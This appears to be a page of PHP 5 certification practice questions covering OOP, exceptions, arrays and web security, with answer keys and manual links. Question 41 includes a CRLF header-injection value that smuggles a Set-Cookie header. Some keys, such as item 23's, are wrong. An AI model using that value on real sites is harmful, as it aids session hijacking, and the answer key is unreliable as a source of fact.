&lt;b&gt;20. In PHP 5 you can use the ______ operator to ensure that an object is of a particular type. You can also use_______ in the function declaration.&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; instanceof, is_a&lt;/li&gt;
&lt;li&gt; instanceof, type-hinting&lt;/li&gt;
&lt;li&gt; type, instanceof&lt;/li&gt;
&lt;li&gt; ===, type-hinting&lt;/li&gt;
&lt;li&gt; ===, is_a&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/internals2.opcodes.instanceof.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/internals2.opcodes.instanceof.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.oop5.typehinting.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.oop5.typehinting.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;21. What is wrong with the following code?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
function duplicate($obj) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$newObj = $obj;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;return $newObj;&lt;br /&gt;
}&lt;br /&gt;
$a = new MyClass();&lt;br /&gt;
$a_copy = duplicate($a);&lt;br /&gt;
$a-&amp;gt;setValue(10);&lt;br /&gt;
$a_copy-&amp;gt;setValue(20);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; You must use return &amp;amp;$newObj instead&lt;/li&gt;
&lt;li&gt; There is nothing wrong with this code&lt;/li&gt;
&lt;li&gt; duplicate() must accept its parameter by reference&lt;/li&gt;
&lt;li&gt; You must use the clone operator to make a copy of an object&lt;/li&gt;
&lt;li&gt; duplicate() must return a reference&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.oop5.cloning.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.oop5.cloning.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;22. How can you modify the copy of an object during a clone operation?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Put the logic in the object&#39;s constructor to alter the values&lt;/li&gt;
&lt;li&gt; Implment your own function to do object copying&lt;/li&gt;
&lt;li&gt; Implement the object&#39;s __clone() method&lt;/li&gt;
&lt;li&gt; Implement __get() and __set() methods with the correct logic&lt;/li&gt;
&lt;li&gt; Implement the __copy() method with the correct logic&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.oop5.cloning.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.oop5.cloning.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;23. What is the primary difference between a method declared as static and a normal method?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Static methods can only be called using the :: syntax and never from an instance&lt;/li&gt;
&lt;li&gt; Static methods do not provide a reference to $this&lt;/li&gt;
&lt;li&gt; Static methods cannot be called from within class instances&lt;/li&gt;
&lt;li&gt; Static methods don&#39;t have access to the self keyword&lt;/li&gt;
&lt;li&gt; There is no functional difference between a static and non-static method&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.oop5.static.php:&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.oop5.static.php:&lt;/a&gt; “Declaring class properties or methods as static makes them accessible without needing an instantiation of the class.” looks more primary then “Because static methods are callable without an instance of the object created, the pseudo-variable $this is not available inside the method declared as static.”.&lt;br /&gt;
&lt;b&gt;24. What is the output of the following script?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
class ClassOne {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;protected $a = 10;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;public function changeValue($b) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$this-&amp;gt;a = $b;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
}&lt;br /&gt;
class ClassTwo extends ClassOne {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;protected $b = 10;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;public function changeValue($b) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$this-&amp;gt;b = 10;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;parent::changeValue($this-&amp;gt;a + $this-&amp;gt;b);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;public function displayValues() {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print &quot;a: {$this-&amp;gt;a}, b: {$this-&amp;gt;b}\n&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
}&lt;br /&gt;
$obj = new ClassTwo();&lt;br /&gt;
$obj-&amp;gt;changeValue(20);&lt;br /&gt;
$obj-&amp;gt;changeValue(10);&lt;br /&gt;
$obj-&amp;gt;displayValues();&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; a: 30, b: 30&lt;/li&gt;
&lt;li&gt; a: 30, b: 20&lt;/li&gt;
&lt;li&gt; a: 30, b: 10&lt;/li&gt;
&lt;li&gt; a: 20, b: 20&lt;/li&gt;
&lt;li&gt; a: 10, b: 10&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.oop5.visibility.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.oop5.visibility.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;25. The ______ keyword is used to indicate an incomplete class or method, which must be further extended and/or implemented in order to be used.&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; final&lt;/li&gt;
&lt;li&gt; protected&lt;/li&gt;
&lt;li&gt; incomplete&lt;/li&gt;
&lt;li&gt; abstract&lt;/li&gt;
&lt;li&gt; implements&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.oop5.abstract.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.oop5.abstract.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;26. To ensure that a given object has a particular set of methods, you must provide a method list in the form of an________ and then attach it as part of your class using the ________ keyword.&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; array, interface&lt;/li&gt;
&lt;li&gt; interface, implements&lt;/li&gt;
&lt;li&gt; interface, extends&lt;/li&gt;
&lt;li&gt; instance, implements&lt;/li&gt;
&lt;li&gt; access-list, instance&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.oop5.interfaces.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.oop5.interfaces.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;27. Type-hinting and the instanceof keyword can be used to check what types of things about variables?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; If a particular child class extends from it&lt;/li&gt;
&lt;li&gt; If they are an instance of a particular interface&lt;/li&gt;
&lt;li&gt; If they are an abstract class&lt;/li&gt;
&lt;li&gt; If they have a particular parent class&lt;/li&gt;
&lt;li&gt; If they are an instance of a particular class&lt;/li&gt;
&lt;/ol&gt;
Answer: B, D, E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.operators.type.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.operators.type.php&lt;/a&gt;: Example #4, Example #2, Example #1 respectively&lt;br /&gt;
&lt;b&gt;28. In PHP 5&#39;s object model, a class can have multiple ______ but only a single direct.&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; None of the above&lt;/li&gt;
&lt;li&gt; interfaces, child&lt;/li&gt;
&lt;li&gt; children, interface&lt;/li&gt;
&lt;li&gt; interfaces, parent&lt;/li&gt;
&lt;li&gt; parents, interface&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.oop5.interfaces.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.oop5.interfaces.php&lt;/a&gt;: Example #3 Multiple interface inheritance, &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/keyword.extends.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/keyword.extends.php&lt;/a&gt;: An extended class is always dependent on a single base class, that is, multiple inheritance is not supported.&lt;br /&gt;
&lt;b&gt;29. What three special methods can be used to perform special logic in the event a particular accessed method or member variable is not found?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; __get($variable)&lt;/li&gt;
&lt;li&gt; __call($method, $params)&lt;/li&gt;
&lt;li&gt; __get($method)&lt;/li&gt;
&lt;li&gt; __set($variable, $value)&lt;/li&gt;
&lt;li&gt; __call($method)&lt;/li&gt;
&lt;/ol&gt;
Answer: A, B, D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.oop5.overloading.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.oop5.overloading.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;30. The _______ method will be called automatically when an object is represented as a string.&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; getString()&lt;/li&gt;
&lt;li&gt; __get()&lt;/li&gt;
&lt;li&gt; __value()&lt;/li&gt;
&lt;li&gt; __toString()&lt;/li&gt;
&lt;li&gt; __getString()&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/language.oop5.magic.php#language.oop5.magic.tostring&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/language.oop5.magic.php#language.oop5.magic.tostring&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;31. When an object is serialized, which method will be called, automatically, providing your object with an opportunity to close any resources or otherwise prepare to be serialized?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; __destroy()&lt;/li&gt;
&lt;li&gt; __serialize()&lt;/li&gt;
&lt;li&gt; __destruct()&lt;/li&gt;
&lt;li&gt; __shutdown()&lt;/li&gt;
&lt;li&gt; __sleep()&lt;/li&gt;
&lt;/ol&gt;
Answer: E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.serialize.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.serialize.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;32. What is the output of the following code?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
class MyException extends Exception {}&lt;br /&gt;
class AnotherException extends MyException {}&lt;br /&gt;
class Foo {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;public function something() {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;throw new AnotherException();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;public function somethingElse() {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;throw new MyException();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
}&lt;br /&gt;
$a = new Foo();&lt;br /&gt;
try {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;try {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$a-&amp;gt;something();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;} catch(AnotherException $e) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;$a-&amp;gt;somethingElse();&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;} catch(MyException $e) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;print &quot;Caught Exception&quot;;&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br /&gt;
} catch(Exception $e) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;print &quot;Didn&#39;t catch the Exception!&quot;;&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; «Caught Exception» followed by «Didn&#39;t catch the Exception!»&lt;/li&gt;
&lt;li&gt; A fatal error for an uncaught exception&lt;/li&gt;
&lt;li&gt; «Didn&#39;t catch the Exception!»&lt;/li&gt;
&lt;li&gt; «Didn&#39;t catch the Exception!» followed by a fatal error&lt;/li&gt;
&lt;li&gt; «Caught Exception»&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.exceptions.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.exceptions.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://stackoverflow.com/questions/2586608/confused-by-this-php-exception-try-catch-nesting&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://stackoverflow.com/questions/2586608/confused-by-this-php-exception-try-catch-nesting&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;33. Which two internal PHP interfaces provide functionality which allow you to treat an object like an array?&lt;/b&gt; (Choose 2 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; iteration&lt;/li&gt;
&lt;li&gt; arrayaccess&lt;/li&gt;
&lt;li&gt; objectarray&lt;/li&gt;
&lt;li&gt; iterator&lt;/li&gt;
&lt;li&gt; array&lt;/li&gt;
&lt;/ol&gt;
Answer: B, D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/class.arrayaccess.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/class.arrayaccess.php&lt;/a&gt;, &lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/class.iterator.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/class.iterator.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;34. Which php.ini directive should be disabled to prevent the execution of a remote PHP script via an include or require construct?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; You cannot disable remote PHP script execution&lt;/li&gt;
&lt;li&gt; curl.enabled&lt;/li&gt;
&lt;li&gt; allow_remote_url&lt;/li&gt;
&lt;li&gt; allow_url_fopen&lt;/li&gt;
&lt;li&gt; allow_require&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;35. When attempting to prevent a cross-site scripting attack, which of the following is most important?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Not writing Javascript on the fly using PHP&lt;/li&gt;
&lt;li&gt; Filtering Output used in form data&lt;/li&gt;
&lt;li&gt; Filtering Output used in database transactions&lt;/li&gt;
&lt;li&gt; Writing careful Javascript&lt;/li&gt;
&lt;li&gt; Filtering all input&lt;/li&gt;
&lt;/ol&gt;
Answer: E&lt;br /&gt;
&lt;b&gt;36. Which of the following php.ini directives should be disabled to improve the outward security of your application?&lt;/b&gt; (Choose 4 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; safe_mode&lt;/li&gt;
&lt;li&gt; magic_quotes_gpc&lt;/li&gt;
&lt;li&gt; register_globals&lt;/li&gt;
&lt;li&gt; display_errors&lt;/li&gt;
&lt;li&gt; allow_url_fopen&lt;/li&gt;
&lt;/ol&gt;
Answer: B, C, D, E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/features.safe-mode.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/features.safe-mode.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;37. Which of the following list of potential data sources should be considered trusted?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; None of the above&lt;/li&gt;
&lt;li&gt; $_ENV&lt;/li&gt;
&lt;li&gt; $_GET&lt;/li&gt;
&lt;li&gt; $_COOKIE&lt;/li&gt;
&lt;li&gt; $_SERVER&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;b&gt;38. What is the best way to ensure the distinction between filtered / trusted and unfiltered / untrusted data?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; None of the above&lt;/li&gt;
&lt;li&gt; Never trust any data from the user&lt;/li&gt;
&lt;li&gt; Enable built-in security features such as magic_quotes_gpc and safe_mode&lt;/li&gt;
&lt;li&gt; Always filter all incoming data&lt;/li&gt;
&lt;li&gt; Use PHP 5&#39;s tainted mode&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://devzone.zend.com/article/1113&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://devzone.zend.com/article/1113&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;39. Consider the following code, what potential security hole would this code snippet produce:&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
session_start();&lt;br /&gt;
if(!empty($_REQUEST[&#39;id&#39;]) &amp;amp;&amp;amp; !empty($_REQUEST[&#39;quantity&#39;])) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$id = scrub_id($_REQUEST[&#39;id&#39;]);&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$quantity = scrub_quantity($_REQUEST[&#39;quantity&#39;])&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;$_SESSION[&#39;cart&#39;][] = array(&#39;id&#39; =&amp;gt; $id, &#39;quantity&#39; =&amp;gt; $quantity)&lt;br /&gt;
}&lt;br /&gt;
/* .... */&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Cross-Site Scripting Attack&lt;/li&gt;
&lt;li&gt; There is no security hole in this code&lt;/li&gt;
&lt;li&gt; Code Injection&lt;/li&gt;
&lt;li&gt; SQL Injection&lt;/li&gt;
&lt;li&gt; Cross-Site Request Forgery&lt;/li&gt;
&lt;/ol&gt;
Answer: E&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Cross-site_request_forgery&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/Cross-site_request_forgery&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;40. What is the best measure one can take to prevent a cross-site request forgery?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Disallow requests from outside hosts&lt;/li&gt;
&lt;li&gt; Add a secret token to all form submissions&lt;/li&gt;
&lt;li&gt; Turn off allow_url_fopen in php.ini&lt;/li&gt;
&lt;li&gt; Filter all output&lt;/li&gt;
&lt;li&gt; Filter all input&lt;/li&gt;
&lt;/ol&gt;
Answer:B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://en.wikipedia.org/wiki/Cross-site_request_forgery#Prevention&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://en.wikipedia.org/wiki/Cross-site_request_forgery#Prevention&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;41. Consider the following code, which of the following values of $_GET[&#39;url&#39;] would cause session fixation?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
header(&quot;Location: {$_GET[&#39;url&#39;]}&quot;);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; Session Fixation is not possible with this code snippet&lt;/li&gt;
&lt;li&gt; http://www.zend.com/?PHPSESSID=123&lt;/li&gt;
&lt;li&gt; PHPSESSID%611243&lt;/li&gt;
&lt;li&gt; Set-Cookie%3A+PHPSESSID%611234&lt;/li&gt;
&lt;li&gt;http%3A%2F%2Fwww.zend.com%2F%0D%0ASet-Cookie%3A+PHPSESSID%611234&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/session.idpassing.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/session.idpassing.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;42. When implementing a permissions system for your Web site, what should always be done with regards to the session?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; None of the above&lt;/li&gt;
&lt;li&gt; You should not implement permission systems using sessions&lt;/li&gt;
&lt;li&gt; Sessions should be cleared of all data and re-populated&lt;/li&gt;
&lt;li&gt; The session key should be regenerated&lt;/li&gt;
&lt;li&gt; The session should be destroyed&lt;/li&gt;
&lt;/ol&gt;
Answer: D&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/function.session-regenerate-id.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://www.php.net/manual/en/function.session-regenerate-id.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;43. Which of the following is not valid syntax for creating a new array key?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; $a[] = «value»;&lt;/li&gt;
&lt;li&gt; $a{} = «value»;&lt;/li&gt;
&lt;li&gt; $a[0] = «value»;&lt;/li&gt;
&lt;li&gt; $a{0} = «value»;&lt;/li&gt;
&lt;li&gt; $a[$b = 0] = «value»;&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.types.array.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.types.array.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;44. Which of the following functions will sort an array in ascending order by value, while preserving key associations?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; asort()&lt;/li&gt;
&lt;li&gt; usort()&lt;/li&gt;
&lt;li&gt; krsort()&lt;/li&gt;
&lt;li&gt; ksort()&lt;/li&gt;
&lt;li&gt; sort()&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.asort.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.asort.php&lt;/a&gt; — sort an array and maintain index association.&lt;br /&gt;
&lt;b&gt;45. What is the output of the following code block?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$a = &quot;The quick brown fox jumped over the lazy dog.&quot;;&lt;br /&gt;
$b = array_map(&quot;strtoupper&quot;, explode(&quot; &quot;, $a));&lt;br /&gt;
foreach($b as $value) {&lt;br /&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;print &quot;$value &quot;;&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; THE QUICK BROWN FOX JUMPED OVER THE LAZY DOG.&lt;/li&gt;
&lt;li&gt; A PHP Error&lt;/li&gt;
&lt;li&gt; Array Array Array Array Array Array Array Array Array&lt;/li&gt;
&lt;/ol&gt;
Answer: A&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/function.array-map.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/function.array-map.php&lt;/a&gt;&lt;br /&gt;
&lt;b&gt;46. Which from the following list is not an appropriate use of an array?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; As a list&lt;/li&gt;
&lt;li&gt; All of these uses are valid&lt;/li&gt;
&lt;li&gt; As a Lookup Table&lt;/li&gt;
&lt;li&gt; A Stack&lt;/li&gt;
&lt;li&gt; As a hash table&lt;/li&gt;
&lt;/ol&gt;
Answer: B&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.types.array.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.types.array.php&lt;/a&gt;: This type is optimized for several different uses; it can be treated as an array, list (vector), hash table (an implementation of a map), dictionary, collection, stack, queue, and probably more.&lt;br /&gt;
&lt;b&gt;47. What is the output of this code snippet?&lt;/b&gt; (Choose 1 answer)&lt;br /&gt;
&lt;code&gt;&amp;lt;?php&lt;br /&gt;
$a = array(0.001 =&amp;gt; &#39;b&#39;, .1 =&amp;gt; &#39;c&#39;);&lt;br /&gt;
print_r($a);&lt;br /&gt;
?&amp;gt;&lt;/code&gt;&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; An empty array&lt;/li&gt;
&lt;li&gt; 0.001 =&amp;gt; &#39;b&#39;, .1 =&amp;gt; c&lt;/li&gt;
&lt;li&gt; 0 =&amp;gt; &#39;c&#39;&lt;/li&gt;
&lt;li&gt; &#39;0.001&#39; =&amp;gt; &#39;b&#39;, &#39;0.1&#39; =&amp;gt; c&#39;&lt;/li&gt;
&lt;li&gt; A Syntax Error&lt;/li&gt;
&lt;/ol&gt;
Answer: C&lt;br /&gt;
&lt;a href=&quot;http://wmdn.ru/goto/http://php.net/manual/en/language.types.array.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://php.net/manual/en/language.types.array.php&lt;/a&gt; :&lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/language.types.float.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Float&lt;/a&gt;s in key are truncated to &lt;a href=&quot;http://wmdn.ru/goto/http://www.php.net/manual/en/language.types.integer.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;integer&lt;/a&gt;.&lt;br /&gt;
&lt;b&gt;48. Which of the following functions could be used to break a string into an array?&lt;/b&gt; (Choose 3 answers)&lt;br /&gt;
&lt;ol type=&quot;A&quot;&gt;
&lt;li&gt; array_split()&lt;/li&gt;
&lt;li&gt; split()&lt;/li&gt;
&lt;li&gt; string_split()&lt;/li&gt;
&lt;li&gt; preg_match_all()&lt;/li&gt;
&lt;li&gt; explode()&lt;/li&gt;
&lt;/ol&gt;
Answer: B, D, E&lt;br /&gt;
